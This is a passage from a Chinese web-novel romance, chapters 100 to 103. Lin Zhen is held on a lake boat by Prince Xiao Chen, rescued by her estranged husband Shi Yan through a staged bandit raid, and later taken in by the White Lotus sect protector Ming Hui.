“你为方怀简哭泣时,可曾愿意嫁给时彦?方怀简在毅勇侯府闹事时,你可愿意为他离开侯府?你只是管中窥豹没有想明白,但你冰雪聪明,假以时日,自然知晓最正确的选择。你安心在船上呆着,慢慢想,相信很快能明白自己真心。” “风大,我们回去罢”,萧忱看着林蓁红若樱桃的唇一会儿白一会儿红,“咬破了唇就不好看了。” 他伸手要牵林蓁,“回房你再睡个回笼觉。” 林蓁迅疾背过双手,对萧忱道:“你不要伤害,我的亲人,英国公府的人。” 她本想说不要伤害毅勇侯府的人,可时彦提过,毅勇侯时世诚为金吾卫大将军守护皇城,萧忱走向巅峰,要么将其收归麾下,要么斩草除根,没有第二条路。 英国公府里父亲林若柏,弟弟妹妹都已被萧忱暗里寒刀所伤,他再动动手指,可能这些人性命不保。 萧忱看着林蓁背在身后的手,视线上移对上林蓁恳求目光,淡声道:“他们的人生,全都看你。” 除了吃饭和萧忱一起到膳厅,林蓁在船上自己的房间呆了一整天,庆幸萧忱未对自己用强,又焦虑这样的日子何时到头,萧忱不是有耐心之人,耐心耗尽时怎么办。 他似乎熬鹰,不在陆地让自己有脚踏实地之感,虽没有锁链,没有暴力和恶语,却用孤独和时间,磨碎自己的意志,将自己的抗拒熬得破碎不堪。 林蓁暗暗观察,这艘船抛了锚并没有在湖中航行,视野里开阔无垠水天相连,根本看不到陆地也看不到其他船只,若要逃跑只能晚上跳湖,可晚上更辩不明方向,湖浪巨大,实在不是良策。 船身庞大,船上除了服侍的丫鬟和萧忱随侍,还有不少船夫水手,林蓁暗暗想着,船上食物和水总有耗尽时候,或者返航或者另有补给的船,到时可寻机会跟随遁逃。 而且白莲教已经祸害不少地方,闹得这么大都是萧忱暗地指使,明晖在外兴风作浪,萧忱应该不会陪着自己在船上与世隔绝?如此关键时刻守着自己实在不是明君之举。 出乎意料,林蓁以为萧忱会和自己在船上至少呆上几日,可翌日早饭间便被丫鬟告知,萧忱夜里已离了船,临走嘱咐林蓁好好冥想,发现真我。 林蓁只想逃跑。 可即便强撑着不睡,趴在窗口观察,等着补给船只或者路过的小船,然夜里并没有什么动静,湖面上除了粼粼月光没有丁点灯火,门口还有两个丫鬟轮班值守。 丫鬟们大概真的不知道,林蓁套不出什么有用信息。 如此七天过去,林蓁像被熬的鹰,有点儿绝望。这天晚上,林蓁仍然趴在窗棂看着月夜中的湖面,突然,似听到有人说话,还有船桨划水之声,林蓁从床榻上一跃而起,急急推开门走到船舷边查看,两个守门丫鬟一左一右拉住她的胳膊,像神荼郁垒两个门神,把她看得比自个性命还重要。 林蓁看向船舷下方,果然有一艘小船,船夫正摆放舷板,连接起画舫。 她正要仔细看,小船上一个男人举起灯笼,灯笼黄色的光线映照在男人脸上,他目光看向林蓁,神情带着几分愉悦,萧忱,回来了。 林蓁伸得老长的脖颈顿时缩了回去。 “妹妹,在等我?”萧忱语调淡然,可尾音里不自觉带上轻微上扬。 萧忱很快走到林蓁面前,丫鬟退了下去。 他似乎很有兴致,忽略林蓁没什么热情的脸,心情颇佳道:“妹妹,我们一起去喝一杯。” 丫鬟们已在船头置好宴桌,两人坐下时,萧忱抬眼看了一眼夜空:“今夜十五,果然月圆如镜。” 月亮如一枚巨大银镜,夜空中耀眼清晰,似乎触手可及,林蓁才后知后觉竟然十五了,萧忱回来下最后通牒? “可惜八月十五回不了皇城,不然和妹妹同赏中秋月明”,萧忱自宽自解,“今晚儿就当中秋过。” 林蓁问:“殿下回来可有什么事?” “殿下?”萧忱眸中闪过一丝不悦,“数日不见,你倒活得回去了。” 他给自己面前放了盏空的白瓷酒杯:“想不明白就继续想,收拾白莲教还得有段时间,够你在这儿想。” 林蓁记挂云娘一人在外:“云娘在哪儿,她可安全?” 萧忱目光在自己空酒杯和林蓁脸上逡巡。 林蓁会意,人在屋檐下,不得不低头,她先给萧忱斟满了酒,再给自己倒了一杯。 萧忱目光落在她倒酒的纤细手指上,似笑非笑:“妹妹乖巧聪慧,一点就通,怎能让人不喜欢呢。” “现在可以说了吧,云娘没有对不住殿下之处。” “她妇人之仁,在我眼皮底下蛊惑你,当我不知。” 林蓁紧张得手指扣住酒杯:“你把她怎么了?” “我非小肚鸡肠,当然是好吃好喝供着,和你一样”,萧忱一饮而尽,空酒杯置于林蓁面前,凝视她道,“你掌握着许多人的生死。” 林蓁别过脸不再看他。 萧忱突的伸出手,掐住林蓁下颚轻轻一掰,他似乎没用上什么劲儿,林蓁却挣脱不动,不得不与他对视,他的目光变得尖刃般锋利,林蓁心里不惧怕是不可能的,但却鼓足劲儿睁大眼睛铜铃般瞪着他。 还没到绝路份上,不能像他示弱,林蓁暗自鼓励自己,就这么直愣愣怒视萧忱。 两人对视须臾,林蓁屏住呼吸不让他察觉自己紧张,可心砰砰乱跳或许他已经听见,心里害怕至极,担心他会有进一步举动,其实很清楚自己只是他砧板上的一条鱼,根本没有反抗空间,或许他想逗逗趣,林蓁也只想利用他逗趣的心理给自己博取一点儿自由的缝隙。 时间似乎静止,耳边有湖水荡漾之声,林蓁不屈不饶看着萧忱,萧忱嗤笑一声:“你生气的模样也很可爱。 等收拾完白莲教,我不会再有耐心。” 他的指腹在林蓁面颊上细细摩挲,似描摹着什么,体味她的感知,又像抚平内心深处暗澜,萧忱终还是放开了她。 “我还是不喜欢强迫”,他摩挲着自己的指腹,似乎回味刚刚在林蓁肌肤上的感觉,“你慢慢想,今夜为我斟酒,以后还可以为我做些什么,等我带你回皇城,就不容你有二心。” 林蓁不露声色吐纳,质问萧忱:“我是有夫之妇,你这样霸占我欺辱我,如何得人心,成大业。” 萧忱挑眉:“你因为这个?这些外在的,是最容易解决之事。” 林蓁垂眸,不敢接萧忱的话茬,真怕他说出来要杀了时彦威胁自己,自己进退维谷。 以为萧忱会让自己陪酒至深夜,可他喝了几杯后回到小船,离开了画舫。 应该陆上事情棘手,他才如此匆忙离去,林蓁望着消逝在夜色中的小船,借着圆月方位记住小船离开的方向,心里为陆上诸人担心不已。 画舫上的日子又恢复了寂静,十五月夜后连着几天天色阴沉不见月光,湖面上的夜晚黑得伸手不见五指,又一天,湖上刮起了大风飘起了雨,等到傍晚时分,竟变成倾盆大雨,铺天盖地砸下来,砸到画舫上甲板上,雨水透过门槛渗进了房间。 林蓁和两个丫鬟坐在房内,船身左摇右晃,林蓁心里翻江倒海却又吐不出来,死死抓住床架尽量平衡船身摇晃带来的颠簸。 每一阵巨浪, 都带来哗的巨响和船身的巨大倾斜,似乎下一秒画舫就要倾覆或者被拍成碎片,两个守护的丫鬟脸色惨白,不知是难受还是吓的。 天色陷入浓黑,画舫像进入魔渊的一叶帆舟,在生死间摇摇欲坠,主仆三人默不吭声,默默期望时间快点儿流逝。 蓦地,在怒吼的风雨浪击声中,几声尖锐男子吼叫声刺破了黑暗。 三人俱是一紧,画舫要倾覆了?在三人面面相觑时,外面男人们的吼叫声越发明显,似乎还有刀刃声。 林蓁艰难站起身,想出去看看,两个丫鬟也只好跟着起来,她们刚走到门口抽开门栓,大风立马吹开了门,雨水哗哗灌进了房间,三人身上顿时湿了大半。 外面喊叫声清晰入耳,林蓁心惊肉跳,犹豫要不要出门的空当,另外几个丫鬟冲出雨雾,冲到林蓁面前。 她们声音发着颤,脸如泡过水的白纸,眼中惊惧得充血:“水寇!水寇上了船!” 林蓁顿时腿脚发软。 众人七手八脚把门重新栓好,刚刚进门的丫鬟们带着绝望的哭腔你一嘴我一舌描绘着外面的惨状,似乎此刻只是排队等见阎王的间隙,可以交流何种死法会死得尊严舒坦没有痛苦。 没等姑娘们商量完,窗棂外现出了男人们的身影,紧接着是劈门的哐哐声。 “女人跑这边来了!”外边的男人兴奋得喊叫。 随着一声紧一声的劈门声,丫鬟们哭得哇哇的,而女子的哭声给外面的男人们打了鸡血,劈门声更清脆利落。 “啪”门扉重重摔在地上,溅起的水渍飞到了林蓁脸颊,林蓁的手紧紧攥住床沿。 随着倒塌门扉进屋的不仅是狂风暴雨,还有好些个五大三粗穿着玄衣包裹着面巾的男人,门扉被堵得严严实实,一时间房内风雨都止了歇。 屋内丫鬟登时昏倒了几人。 如果水寇劈门时林蓁还有那么一丝丝幻想,或许是谁来救她?可看着铁塔般的汉子一手抓起一个女子甩在肩背上背出门,这点儿幻想被门扉处刮进来的风雨冲刷得干干净净。 她夹在几个丫鬟中间被汉子们推搡着出了门,外面一片漆黑什么都看不见,只有天空破洞般的雨砸在脸颊上又冷又疼,震耳雨声中刀剑碰撞的铮铮声刺激着林蓁的耳膜。 甲板歪歪斜斜,巨浪拍打船舷,水流**右覆,林蓁没走几步差点儿滑倒,再一次脚滑时,高壮的男人伸手过来,林蓁感到肩膀上即将触碰的指尖,在被抓攥的那瞬,林蓁脚步踉跄却决绝,猛地向前一步,跃过船舷跳入根本看不清的湖水中。 尖叫声刺穿了林蓁的耳膜,没入冰冷湖水,她获得片刻安宁,不只躲开男人的手,而且在挣脱命运的桎梏。 她的命,自己决定。 湖水翻涌,她奋力在水中游曳,却翻不出巨浪,胸口被千斤磐石碾压,意识渐渐涣散。魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m 100-108 第101章 第 101 章 我没有原谅你 像暗夜里飘落水面的一片枯叶只能随波逐流, 湖面下的林蓁被拖曳着,随着巨浪翻来滚去,眼里似浸入墨汁永夜的黑,四周也听不见声音, 似乎在进入新的轮回前掉进一个时空罅隙, 类似黑洞, 林蓁感到身体已经不属于自己, 她没有痛的感觉,意识摇摇欲坠, 似乎也在快速脱离着躯体,在意识消失或者仅是陷入沉睡的那刻,一道声音穿透了黑暗,清晰地闯入林蓁心中。 “蓁蓁,蓁蓁, 没事了!” 时彦在唤她, 林蓁辨出了声音,他常说“没事了, 没事了”,在明晖划开他脖颈时说过, 在她跑出御史台刑狱时说过,可这三个字就像海上风暴来临前成群低飞的海鸟预警, 暗示着更糟糕的事情刚拉开序幕。 此刻的“没事了”, 在林蓁耳边响起, 似伴随走过奈河桥的温柔低吟,让她最后一程不孤寂和害怕。 林蓁不禁想,为什么最后一刻会想起他,他在潜意识里很重要么, 为什么不是飞飞的声音…… 恢复知觉时,耳边是细密的雨滴敲打车厢的声音,像满满簸箕的黄豆哗啦洒在车顶,吵得林蓁头疼。她缓缓睁开眼,自己躺在马车的榻上,车帘缝隙里漏出暗淡光线。 像一个漫长的梦,林蓁睁大眼睛,看清楚身边坐着谁时,明白了时彦的呼喊并不是潜意识的梦,心底突然涌出点儿庆幸,临死前自己并没有想起他,可随即又有点儿沮丧,在以为自己死去的那刻,脑海里什么人都没有出现过,这个世界竟然没有值得留恋的人么,可明明还有不少值得自己眷念。 “我们这是去哪儿?” 时彦坐在榻边,倚靠车厢闭目休息,林蓁看向他问道。 时彦猛的睁开眼,对上林蓁目光,眼中现出欣喜,他弯下腰凑到林蓁面前,柔声问:“你醒了,有没有哪里不舒服,吸吸气试试?” 林蓁微微蹙眉,下意识吸口气,顿觉肋下隐痛,她一骨碌坐起来低头看自己,一身白色绢纱中衣舒适干爽,她看向时彦,目露疑惑。 “都是我准备的,我亲手给你换的。” 林蓁抿了抿唇,命令道:“你转过去。”虽和时彦熟悉彼此身体,但也大半年没有同床共枕过,林蓁不想当着他的面查看身体。 时彦知道她的心思,转过头不看,口中却道:“昨夜你溺水,我给你做的人工呼吸,给你换的衣裳。肋下青紫是我按压印记,上面白色粘腻是涂的膏药。” 掀开衣襟细看,确如时彦所说,林蓁心里顿时生出一股躁火,带着火气质问:“你那些人比水寇还穷凶极恶,那些女孩儿真被他们掳走了?” “要不被萧忱查出,自然得扮得真一些,那些女孩儿上岸后会找机会让她们逃走。” 时彦说得滴水不漏,可林蓁越想越气,皱着眉气势汹汹道:“有你这样救人的吗?我要不会水,昨日是我祭日!” 她绷直身体等着时彦和她解释,时彦却倏地挨近她,将她搂在了怀中。 林蓁闻到他身上熟悉的气息,察觉到微不可察的轻颤。 她本能地想推开他,手抵在他的胸口,被他胸膛的起伏带得一动一动的,灼烫的温度透过薄薄的衫袍烧得她指尖颤抖,她竟然使不出劲儿。 温热呼吸在她耳畔拂过:“对不起,蓁蓁,是我疏忽。” 当他捞起她冰冷软绵绵的身体时,从未有过的无以复加的慌乱恐惧后悔……吞噬了他的心,他疯狂按压她的胸口,为她人工呼吸,无法想象无法接受她在他的面前会变成僵硬的躯体。 直到她微微咳嗽一声,吐出一口水,他才浑身瘫软地倒在她的身边,旋即抱紧她,两个浑身湿漉漉的人搂在一起,脸上淌着不知是雨水还是眼泪。那时的林蓁是无意识的,可却知道回应他的动作,抓攥着他的胳膊不放,似抓住一根救命稻草…… 时彦声音脆弱,喉咙里像是堵着什么,吐出的每一个字都在颤抖,林蓁从未见过他这般,即使曾经他低声下气求她也未如此,像受伤的小狗无助地露出肚皮上的伤口,暴露出最脆弱的部分。 林蓁想骂他的,可突然看他如此,骂人的词忘得一干二净,想想他应该也折腾了一夜未曾休息,心里气性消了大半。 林蓁岔开话题:“你放开我,让我胸口疼了。” 时彦忙松开她,问还有哪里不舒服,林蓁细细感觉了一番,应该是时彦按压过度所致,回道没什么了,又继续追问马车要去哪里。 “去长沙县”,时彦解释,“白莲教骚乱蔓延到好几个州,现在潭州诸位官员都被派到下面各县乡,与当地县令一起对付白莲教,我被派往长沙县。” 时彦详细讲了林蓁离开潭州后的各种变化。 他的长随长庚一直暗中跟随萧忱三人,可完全没想到萧忱会跑到洞庭湖上锁人,找熟悉洞庭湖的船夫寻找画舫耽误了时间,不然在陆地上时彦早把林蓁扒了出来。 萧忱方怀简在衡州 ,据潭州知府杨大人的消息,白莲教三位护法到了衡州,所以这里是白莲教闹得最凶的地方。杨大人和梅大人呆在与衡州毗邻的湘阳县,坐镇第一战线。 林蓁问:“我们现在在哪儿?” “刚过了汨罗县,到了湘阴县境内。” 过了湘阴县很快就是长沙县,可林蓁并不想跟随时彦去他的目的地,她也是朝廷命官,不是以时彦夫人身份来潭州的,和他去长沙县算什么事呢。 “我不去长沙县,我回潭州找梅大人。” 即便不考虑萧忱,时彦也不希望林蓁回潭州,潭州现在几乎是座空城,府衙的大人们都亲临第一线作战,潭州的郡兵被都尉们带着分散到各处抵御,到了潭州无人能保证林蓁安全,何况路上还时不时有闹事教众作乱。 林蓁根本听不见时彦意见,她反驳道:“我没想回潭州城,我想去找梅大人,她是我的上峰也是女子,她能做到的我有什么做不到?” 车厢里的争吵声渐渐大过雨声,两人各不相让,时彦缓和道:“无论去哪儿,今日我们都会在湘阴县住宿一晚,还有整整一晚时间考虑,这会儿你好好休息。” 天黑前,一行人落脚湘阴县城客栈,时彦坚持和林蓁一间房,刚刚死里逃生,林蓁没在这个事上和他争执。 时彦自觉地将自己的铺盖放在林蓁床前地坪上,和她道了声晚安,闭上眼睡了。 在马车上睡了一天,林蓁有些睡不着,心事儿也多,时彦说的对,可她就是不想听,但如果没有他的帮助,现在闹哄哄情形下她真没胆量独自一人去找梅大人。她想做事,可经过昨夜一遭鬼门关的遭遇,她也惜命。 时彦均匀呼吸声在耳畔响起,林蓁想他睡着了,探出头瞧他。 还是感激他的,没有长庚盯梢,她不知还要在洞庭湖上飘多久,也仍然讨厌他,明明可以向自己交代长庚的事却只字不提,就是救人,自己也是他筹谋安排中的一环死物,从未被当作平等对象,胸口青紫隐痛本完全可以避免。 他竟然没挨自己一句骂,林蓁觉得自己实在好脾气,想打他几下,又担心打醒了他,她撑起上半身目光在房间里转了转,想找个东西让他痛一痛,然东西没寻到,目光再落在他脸上时,时彦大睁着眼睛,看着林蓁。 心思似乎被他看见,林蓁没好气道:“看什么?” 时彦嘴角翘了起来:“看我老婆。” 林蓁顺手拿起自己枕头狠狠砸在时彦脸上,也遮挡住他明亮又赤。裸。裸目光,她气鼓鼓道:“我没有原谅你,从没有!” 第102章 第 102 章 去实现你的抱负 时彦根本没睡着, 他不想林蓁去潭州,除了局势不安全的客观原因,也有自己私心。到了梅大人那里,离萧忱方怀简更近, 说不得哪天林蓁就彻底不搭理自己, 投入方怀简怀抱, 潭州城外那个寺庙前, 林蓁给方怀简拭雨时神态历历在目,她对他有情。 更不论萧忱霸占之心。 察觉林蓁在观察自己时, 时彦纹丝不动,想象着林蓁会宛若当初,偷偷抚触自己,那他也会和曾经一样,搂紧她和她说着软话, 求她别离开。 可等了许久, 林蓁仍然没有动静,时彦忍不住睁开眼时, 等来一个枕头的暴摔。 听到林蓁极不耐烦的话,时彦低哑着嗓音道:“蓁蓁, 我不求你原谅。我现在无论做什么,都不是求你原谅, 不是我对你做了什么, 就想你也得回报些什么, 不是。 我只是这样做了,心就安了,知道你和萧忱一起,我不放心, 让长庚跟着,我可以知道你的消息,我就很安心,你们在湖中失去消息,我在长沙县寝食难安精神恍惚,立刻就往这边来了。 看着你,我就很安心。如果我有什么想法,我就想你在我身边,也能常常看着我,像以前一样。” “蓁蓁,别去潭州。” 他的眼睛发着光,那光亮从他心底最柔软的地方溢出,在黑暗中蔓延开来,带着他心底的温度。 林蓁别开眼,不去看他的眼睛。 他天生就会诡辩,林蓁暗想,不愧是商业营销天才舌灿莲花,情绪掌控大师,每每都能把自己想骂他的话生生堵在喉咙里,甚至还不由自主有丝丝怜惜。 但自己已识破他的奇技淫巧。 林蓁一句不吭睡倒在床榻上,拉好被衾背对着时彦,才闷声回道:“除非你把我五花大绑,我一定要去潭州。” 时彦想过陪伴林蓁一起回潭州,可他离开长沙县到洞庭湖畔近半月,本就超出告假时限,晚一两天还能找些理由,去潭州一去一回至少要一周,再回长沙县超出告假时限近半月,现在是防御白莲教关键时间,被别有用心之人揭发,怕是官职不保。 到时别说护着林蓁,自己性命堪危。 看着林蓁背对着自己,时彦坐了起来,一只胳膊倚在床沿边,另一只手缓缓落在了林蓁肩膀上。 掌心热度穿透薄薄中衣渗进林蓁肌肤,林蓁感到不适,伸手想推开他,纤细手指刚刚触碰他的手背,就被他紧紧攥住。 “想过再次碰到萧忱,怎么说,怎么躲开他?路上碰到白莲教教众怎么办?” 林蓁想时彦的人护送自己回去,她等他开口相劝,再和他辩论一番,她不是他的附庸。 时彦却道:“萧忱迟早会知道,你沉默以对即可,你跟着梅大人,必要时候可以和梅大人说出实情,你是朝廷命官,萧忱现下处境还不至于公开胡来。 路上不巧碰上白莲教,设法让启明逃出来,让他给我报信,你要坚持是明晖故人,有潭州府衙重要消息需要当面向明晖禀明。 明晖,应该会帮你罢。” 林蓁愣了一瞬,心底泛起一股难以名状的情绪,他都帮她想好了,果然凡事都会未雨绸缪,她缓缓转身,对上时彦沉静目光似无奈像关切,语气变得和缓:“我运气一向可以,你不用担心。你更要好好想想,白莲教被萧忱收拾干净后,他回皇城会做些什么,毅勇侯和你会面对什么。” “你现在就得想。” 萧忱说过会迫他和离,林蓁心底一直隐隐担心,萧忱是否会在潭州对时彦下黑手,如此毅勇侯也少了重要帮手,对萧忱是一举多得之事。 “这是关心我么”,时彦嘴角噙着笑意。 “总归不希望你有事”,林蓁的手被时彦攥着,她反拉了拉他的手,淡声问:“如果萧忱凭潭州平乱白莲教之功,回皇城上位,你会做什么?” 林蓁内心一直回避这个问题,萧忱对自己没有兄妹情意,他按照小说剧情上位,等待自己的没有什么好果子,时彦大概也不会有好结局。 虽然时彦有所准备,但自己和时彦都身在局中,且萧忱布局多年,鹿归何处,实在是未定之数,而且目前各项事务发展趋势,萧忱似乎更有胜算。 “我以前说过,我不会为任何一个皇帝卖命,不会被任何人支使,只为我俩美好生活全力以赴”,时彦将林蓁的手牵到唇边,轻轻吻了吻她的手背,“蓁蓁,相信我这次。” “你只管努力去实现你的抱负。” 房间里没点灯,黑暗中时彦说话语气也 是淡淡的,可林蓁胸口突的却似有根羽毛在轻轻的挠,她把手按在胸口,指尖收紧也阻挡不了这股说不出来的痒意,痒意顺着胸口上窜,鼻翼痒痒地泛起酸意,眼眶也莫名微微发热。 突如其来失控感让林蓁一阵慌乱,她垂下长长睫羽,压制下心中痒意,语气平静无波:“快睡罢,你累了一天。” 翌日清晨,天空仍飘着小雨,时彦的车队停在湘阴县城外岔路口。 马车里,时彦做最后的叮咛,他的话细致得几近琐碎,大概是担心和不舍,林蓁不想打断他,安静地看着他说话,默默颔首等待。 时彦絮絮叨叨反反复复,意识到自己啰嗦,他突然停了下来。 林蓁看向他的目光现出淡淡笑意。 时彦嘴角也弯起弧度,他沉默了片刻,轻声道:“该走了。” 他弓着身子站起来准备下车,向前迈了一步却又停驻,林蓁以为他还要叮嘱些什么,微微抬起脸看他,不料时彦猛地转身,猝不及防双手托住林蓁脸颊,俯身吻住她的唇。 林蓁呆愣了一瞬,随即挣扎起来,时彦似乎不敢拂她的意没有深吻,只重重亲了下她的唇,又因为她的挣扎,不甘心地嘬了口她的脸颊。 “好好的,等我回潭州。” 时彦深深看了一眼林蓁,放开手,快步跳下马车。 车厢里只剩下林蓁一人,她无意识摸着自己的下颚,那里他的触碰还有余热和隐隐的痛。 “蓁蓁”,车厢外传来时彦声音,林蓁目光刚刚落在车帘处,明亮光线便洒落在自己眼中,时彦挑开车帘,站在车厢外看着自己。 他没再说话,林蓁定定看着他,也不知道说什么,嘱咐的话前面已经说了许多遍。马车启动,时彦只得放下车帘,车厢内的光线又暗淡下来。 “我很快回来”,时彦低沉的声音隔着车帘传进了林蓁耳畔。 林蓁沉默地望着车帘缝隙,有些想掀开车帘看看目送自己的时彦,马蹄声哒哒响,车轮转动得飞快,心意徘徊间马车已驶出了一段距离,她终是未曾伸手掀开车帘去向外眺望。 应该不久会再见,林蓁忆起,萧忱说过白莲教很快会有结果。 第103章 第 103 章 你倒是伶俐(剧情章,…… 一路顺利行了两日, 林蓁一行人这日午后抵达潭州城,随行人除了时彦长随长庚启明,都是时彦离开长沙县时带的衙役,见人已安全抵达, 便和林蓁在城中道别, 林蓁带着长庚启明直奔潭州府衙。 果然如时彦所说, 知府杨业则和御史梅棠去了湘阳县多日, 现在府衙里只有一个通判负责统筹消息,林蓁思索片刻, 打算继续南行,去湘阳县与梅棠汇合。 通判劝道:“去湘阳县虽只要一日,但要跨一条江翻一座山,府衙里现下实在抽不出人手护送,林大人还是在潭州等消息为宜。” 潭州城里大大小小官员都已奔赴各县抵御白莲教作乱, 林蓁告假归来, 本就没参与前些日子各项事务,哪里做得到心安理得在城中等待。见林蓁坚持, 通判只得安排两位衙役跟随,再三嘱咐过了湘水在翠屏山脚下住一晚, 第二日白天走翠屏山山路,顺利的话下午就能抵达湘阳县。 五人在城中大快朵颐享用一顿丰盛午膳, 便继续出发。林蓁一路观察和通判的说法, 白莲教众并不戳害无辜百姓, 五人扮作商贾,买了些粮食去湘阳县做买卖。 只是林蓁万万没想到,翠屏山中遇到山匪,劫了粮食不说, 当场砍杀了两位衙役,长庚启明带着林蓁慌不择路逃命,竟是白莲教众救下了仨人。仨人只得将戏继续演下去,在教众陪伴下回了被劫处掩埋衙役遗体,可教众中一头目鹰视狼顾,竟看到了衙役身上的腰牌,林蓁继续前行的想法彻底破灭。 仨人命悬一线,林蓁按照时彦的预想,开口求见明晖。 这头目本想当场结果这些与官府有染之人,可林蓁口口声声为明晖故人,容貌又昳丽非常,杀掉未免可惜,将仨人一通捆绑蒙上眼睛后,在山里兜兜转转半日,带到一个小村庄。 林蓁不知自己被带到何处,关押到一间屋子时,再听不到长庚启明声音。 屋里闷热没有一丝风,空气令人恶心,林蓁被摔在泥土上,手脚绑住动弹不得,眼睛被绑着布条什么都看不见,屋外有男人在说话,可林蓁竖起耳朵仔细聆听,也未能分辨出说的什么。 时间变得漫长,林蓁回想白天发生的一切,谋算着生机。 按计划启明应该逃出去叫人,可仨人被一众人虎视眈眈盯着挖坑埋人,根本没有逃走机会,现在长庚启明不知被带到何处,也不知道这教众头目是否真会带自己见明晖,按说明晖应该在衡州境内,按时间算得有一两天路程,带自己见明晖也有路遇官兵的风险…… 林蓁长叹口气,没有什么好主意,唯一能安慰的,头目没有杀了自己,带自己走了半天路,按说一时半会不会再想取自己性命,得想个有用的信息吊着这些人。 黑暗吞噬了时间,林蓁不知日月,身体被捆得僵硬,又饿又累中不知不觉睡着了。昏沉间,眼前一瞬闪亮,紧接着,周围都是杂乱脚步声,自己似乎被包围了起来,林蓁仰起头对着光亮,蒙眼的布忽的被刀划开,光线骤然刺入眼眸,她眯起眼,喉间倏然上涌一股腥甜,明晖离她不过咫尺之间。 烛火微晃,明晖身影笼罩在光影之间,半张脸隐在暗处,神色朦胧不清。他静静地站在林蓁面前,眉目低敛,看不出情绪。 林蓁本想求明晖救她,可这狭小空间里除了明晖,还有黑压压一屋子教众。 明晖配合萧忱闹事,目的之一为了清理白莲教中自己对头,林蓁知道其中利害,对着明晖晦暗不清的目光,低低唤了声:“明护法。” 明晖手起刀落,林蓁手脚终于可以动弹,她还没来得及丢开手脚上的绳索,明晖俯下身,一把拧住她的面颊。 “你倒是伶俐。” 他捏着她的脸颊,微微用力,力度不重,却带着几分轻佻的意味,气息拂在她的脸上,酥麻得叫人心乱。 恁谁都看出明晖对林蓁不一般,若不是林蓁知道明晖为女子,她也会心里抖三抖,林蓁垂下眼眸毫无抵抗,乖顺地任他审视。 下一刻,林蓁被明晖拉了起来。 “跟我走罢”,他牵着她的手说话,视线却是看向房间众人。 抓林蓁到此处的头目问道:“明护法带她去哪儿?她和潭州官府有关,不该先拷问一番?” “我亲自拷问”,明晖挑眉,“怎么,王堂主不放心?” “岂敢”,王堂主垂首,拱手解释:“担心她是细作,既然明护法亲自拷问,那我们自然安心。” 出了房门,山野寂静,夜风清凉,残月高悬,星子稀疏,林蓁被明晖拉着,踉踉跄跄前行,幽暗夜色中,林蓁几乎看不清路,唯有明晖脚步稳健,未有丝毫迟疑。 走进一个单独小院的厢房,明晖屏退随从,才皱眉道:“你胆子可真大,若我晚两天来此处,你小命堪忧!” “别指望我放你,那个王堂主不是我的人,你现在只能跟着我,见机行事。” 林蓁视线在窗棂上扫了一圈,确定周围无人,压低声线问:“你给萧忱卖命,不怕他违诺反噬?他不是什么君子!” 明晖微微一怔,眼底掠过一丝讶异,与萧忱合作之事,知道的人屈指可数,林蓁怎会知道,她根本是不相干之人。 心思流转间明白了几分,明晖淡笑:“你和方怀简又好上了?他和你说的?”若不是方怀简极为亲近之人,他绝不会将性命攸关之事告诉他人。 林蓁不答,继续质问:“你们伤了多少无辜官吏性命,你也曾是官家小姐,你这样做,和你所痛恨之人又有什么区别呢。” “亏你读了这么多书”,明晖冷哼一声,“读到狗肚子里去了?” 他语气凉薄,眼底透着几分讥讽,“萧忱不找我,也会联系白莲教其他人,白莲教不过是皇家争权夺利工具,刚刚王堂主是另外两位护法的人,他们和宁王弘王联系甚密,两位护法愿意到衡州来,也是想趁机按死了我。 那些官吏要怪,只怪他们没有明主,不早早确定储君,阿猫阿狗都想染指。” “他们背后也有皇家势力?” 明晖一副大惊小怪神情看着林蓁:“在萧忱没有搞定两位护法前,我不能放你走。” “要是他败了,我只能鱼死网破逃命去了,到时你和我一起逃。” 明晖轻描淡写,林蓁听得胆颤心寒,略略可做安慰的,萧忱是小说男主,总该有男主气运?虽然小说里没有潭州白莲教闹事剧情。 “和我一起被抓的还有我的随扈,他们没有官职不是官员,我留在这儿没问题,他们两个能不能放了?” 长庚和启明是时彦贴身用惯极其信任之人,林蓁不想他们毫无意义死在白莲教手中,央求明晖放人。 “放了他俩,牵一发而动全身,王堂主报告给他的主子,我们都得玩完。” 明晖不是一个做事被动的人,林蓁不信他毫无办法,她拉着他的手苦苦哀求,明晖被缠得不行,不耐道:“过几天再说,若他 们脑子聪明寻着机会可以跑,但再被王堂主抓回来我可没辙。” 后面日子,在翠屏山里这个村落,林蓁与明晖吃住一起,寸步不离,王堂主委婉提过非议,被明晖一眼瞪了回去:“你们吕护法三妻四妾的没见你放个屁,我找个女人你倒是立眉竖眼?”众人只道从不近女色的明晖掉进了林蓁温柔乡,再不敢多说一个字。 长庚启明在一个夜晚逃出了村落,大概阴天山里夜晚伸手不见五指,王堂主带人追了一晚上无功而返,林蓁悬着的心落了地。 有许多时间和明晖相处,林蓁向他讲述自己幼时,主动透露自己为孤儿之事。 云娘告诉林蓁身世的诸多细节中,她被观云庵尼姑捡到时,随身衣裳包被都是顶好绸缎,还有一块白色绢帕写着出生日期和姓名谢蕴,云娘把这些物品都和小公主埋葬在了一起,但云娘随萧忱十几年后重回故地挖坟时,这些物品都不见了,也许化作了泥土,可当年云娘掩埋小公主时条件所限,只有草席包裹了几层,挖坟时小公主遗骨却收殓在一个小棺材里。 云娘提过在皇城毅勇侯府时,曾有蒙面男子夜闯她的房间,只为问白色绢帕之事,是以云娘猜测,林蓁在这个世上还有亲人。 小说里提到过,明晖家族姓谢,是太子妃母亲一族,当年明晖父亲为潭州知府谢怀德,林蓁怀疑,明晖或许是自己亲人。 可明晖听完林蓁身世之后,只是淡淡道:“天不绝人,后福可期”,甚至还调侃,“后福之人,你现在和我在一起,若能脱困,萧忱必稳。” 他的语气和惯常没什么不同,淡然疏离,平静地听着他人的一个故事,林蓁的怀疑不得不抛之脑后。 林蓁也问过明晖今后打算,小说里明晖为救萧忱而死,在林蓁眼里,明晖不算好人也不是十恶不赦坏人,她不想明晖为萧忱搭上性命。 林蓁各种打听总被明晖不耐烦挡回去,“这事儿与你无关,你问我邪教护法的今后?”语气冷淡得不容反驳。 八月头的一天夜里,林蓁亲眼目睹一只信鸽飞进明晖怀里,明晖展开绑在信鸽腿上的字条,难得对林蓁展颜一笑:“很快你可以再见你的情郎。” 知道他说的是方怀简,可林蓁心里被什么狠狠刺了一下,她唇角甚至扯出一点弧度,可只有一瞬她的面容便收敛了笑意。 是夜,明晖干净利索收拾了王堂主及其手下人头,待收拾完战场才对林蓁讲明原委,方怀简已经拿下白莲教在衡州的两位护法,后面会继续收拾其残余势力,很快就能平息乱局。 